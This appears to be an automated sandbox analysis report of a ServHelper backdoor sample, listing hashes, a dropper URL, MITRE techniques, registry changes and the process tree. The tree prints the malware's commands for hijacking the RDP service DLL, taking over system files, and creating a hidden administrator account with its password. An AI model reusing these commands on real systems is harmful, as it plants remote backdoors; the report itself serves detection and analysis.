servhelper | 829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe

Analysis

max time kernel
69s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
18-04-2022 05:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe.exe
Size

3.3MB
MD5

21e3feb31825be4bbbe5e509b48eeec7
SHA1

90f9d03713da9b7ec84b938c28b9cd38960c38b9
SHA256

829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe
SHA512

51eec2b1f3cd9d9ee2383485cb8f09b45676d648c371c177136ba4beaa227a24dec8baf41bee88a8bc178f2f03bfab89deb7efc8b9f33302fa74a07ad7768488

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 10 IoCs

Processes:

powershell.exe

flow	pid	Process
17	1396	powershell.exe
19	1396	powershell.exe
20	1396	powershell.exe
21	1396	powershell.exe
22	1396	powershell.exe
24	1396	powershell.exe
26	1396	powershell.exe
28	1396	powershell.exe
30	1396	powershell.exe
32	1396	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
3232	icacls.exe
228	takeown.exe
984	icacls.exe
3548	icacls.exe
3748	icacls.exe
616	icacls.exe
4596	icacls.exe
2156	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x000b00000002312e-169.dat	upx
behavioral2/files/0x000a00000002314f-170.dat	upx

Loads dropped DLL 2 IoCs

Processes:

pid	Process
2336
2336

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
2156	icacls.exe
3232	icacls.exe
228	takeown.exe
984	icacls.exe
3548	icacls.exe
3748	icacls.exe
616	icacls.exe
4596	icacls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 18 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_5uriayyy.qwd.ps1	powershell.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIFEBA.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIFF29.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIFE79.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIFEA9.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_r535kbej.wpl.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIFEDA.tmp	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
5032	3980	WerFault.exe	78

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
4092	reg.exe

Runs net.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc	stream
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
1396	powershell.exe
1396	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid	Process
668
668

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

powershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeRestorePrivilege	3548	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	4084	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4084	WMIC.exe
Token: SeAuditPrivilege	4084	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4084	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4084	WMIC.exe
Token: SeAuditPrivilege	4084	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	5096	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5096	WMIC.exe
Token: SeAuditPrivilege	5096	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	5096	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5096	WMIC.exe
Token: SeAuditPrivilege	5096	WMIC.exe
Token: SeDebugPrivilege	1396	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.exe

description	pid	Process	procid_target
PID 3980 wrote to memory of 4744	3980	829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe.exe	79
PID 3980 wrote to memory of 4744	3980	829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe.exe	79
PID 4744 wrote to memory of 4900	4744	powershell.exe	84
PID 4744 wrote to memory of 4900	4744	powershell.exe	84
PID 4900 wrote to memory of 5096	4900	csc.exe	85
PID 4900 wrote to memory of 5096	4900	csc.exe	85
PID 4744 wrote to memory of 228	4744	powershell.exe	87
PID 4744 wrote to memory of 228	4744	powershell.exe	87
PID 4744 wrote to memory of 984	4744	powershell.exe	88
PID 4744 wrote to memory of 984	4744	powershell.exe	88
PID 4744 wrote to memory of 3548	4744	powershell.exe	89
PID 4744 wrote to memory of 3548	4744	powershell.exe	89
PID 4744 wrote to memory of 3748	4744	powershell.exe	90
PID 4744 wrote to memory of 3748	4744	powershell.exe	90
PID 4744 wrote to memory of 616	4744	powershell.exe	91
PID 4744 wrote to memory of 616	4744	powershell.exe	91
PID 4744 wrote to memory of 4596	4744	powershell.exe	92
PID 4744 wrote to memory of 4596	4744	powershell.exe	92
PID 4744 wrote to memory of 2156	4744	powershell.exe	93
PID 4744 wrote to memory of 2156	4744	powershell.exe	93
PID 4744 wrote to memory of 3232	4744	powershell.exe	94
PID 4744 wrote to memory of 3232	4744	powershell.exe	94
PID 4744 wrote to memory of 824	4744	powershell.exe	95
PID 4744 wrote to memory of 824	4744	powershell.exe	95
PID 4744 wrote to memory of 4092	4744	powershell.exe	96
PID 4744 wrote to memory of 4092	4744	powershell.exe	96
PID 4744 wrote to memory of 2872	4744	powershell.exe	97
PID 4744 wrote to memory of 2872	4744	powershell.exe	97
PID 4744 wrote to memory of 4860	4744	powershell.exe	98
PID 4744 wrote to memory of 4860	4744	powershell.exe	98
PID 4860 wrote to memory of 4068	4860	net.exe	99
PID 4860 wrote to memory of 4068	4860	net.exe	99
PID 4744 wrote to memory of 4088	4744	powershell.exe	100
PID 4744 wrote to memory of 4088	4744	powershell.exe	100
PID 4088 wrote to memory of 1072	4088	cmd.exe	101
PID 4088 wrote to memory of 1072	4088	cmd.exe	101
PID 1072 wrote to memory of 480	1072	cmd.exe	102
PID 1072 wrote to memory of 480	1072	cmd.exe	102
PID 480 wrote to memory of 1200	480	net.exe	103
PID 480 wrote to memory of 1200	480	net.exe	103
PID 4744 wrote to memory of 1420	4744	powershell.exe	104
PID 4744 wrote to memory of 1420	4744	powershell.exe	104
PID 1420 wrote to memory of 1096	1420	cmd.exe	105
PID 1420 wrote to memory of 1096	1420	cmd.exe	105
PID 1096 wrote to memory of 396	1096	cmd.exe	106
PID 1096 wrote to memory of 396	1096	cmd.exe	106
PID 396 wrote to memory of 3392	396	net.exe	107
PID 396 wrote to memory of 3392	396	net.exe	107
PID 4536 wrote to memory of 4604	4536	cmd.exe	111
PID 4536 wrote to memory of 4604	4536	cmd.exe	111
PID 4604 wrote to memory of 4756	4604	net.exe	112
PID 4604 wrote to memory of 4756	4604	net.exe	112
PID 4764 wrote to memory of 2624	4764	cmd.exe	115
PID 4764 wrote to memory of 2624	4764	cmd.exe	115
PID 2624 wrote to memory of 4412	2624	net.exe	116
PID 2624 wrote to memory of 4412	2624	net.exe	116
PID 4332 wrote to memory of 2256	4332	cmd.exe	119
PID 4332 wrote to memory of 2256	4332	cmd.exe	119
PID 2256 wrote to memory of 864	2256	net.exe	120
PID 2256 wrote to memory of 864	2256	net.exe	120
PID 1076 wrote to memory of 3756	1076	cmd.exe	124
PID 1076 wrote to memory of 3756	1076	cmd.exe	124
PID 3756 wrote to memory of 4272	3756	net.exe	125
PID 3756 wrote to memory of 4272	3756	net.exe	125

C:\Users\Admin\AppData\Local\Temp\829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe.exe
"C:\Users\Admin\AppData\Local\Temp\829ccebd604476e92b2d847e228af249e7233e4e42136760e702de4115bd52fe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3980
- \??\c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
  -ep bypass -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eiwfpkti\eiwfpkti.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES71E9.tmp" "c:\Users\Admin\AppData\Local\Temp\eiwfpkti\CSCA10D5860B8DC477ABDC22D5543F96EEA.TMP"
      4⤵
      PID:5096
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:228
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:984
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3548
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3748
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:616
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4596
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2156
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3232
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:824
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:4092
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2872
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:4068
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1072
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:480
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1200
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1096
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:396
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3392
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4028
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:5016
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3980 -s 484
  2⤵
  - Program crash
  PID:5032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3980 -ip 3980
1⤵
PID:4212

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:4756

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc sG7UrwrO /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\system32\net.exe
  net.exe user wgautilacc sG7UrwrO /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc sG7UrwrO /add
    3⤵
    PID:4412

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:864

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" TLWHJTYB$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1076
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" TLWHJTYB$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" TLWHJTYB$ /ADD
    3⤵
    PID:4272

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1896
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:4588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3836

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc sG7UrwrO
1⤵
PID:4044
- C:\Windows\system32\net.exe
  net.exe user wgautilacc sG7UrwrO
  2⤵
  PID:2704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc sG7UrwrO
    3⤵
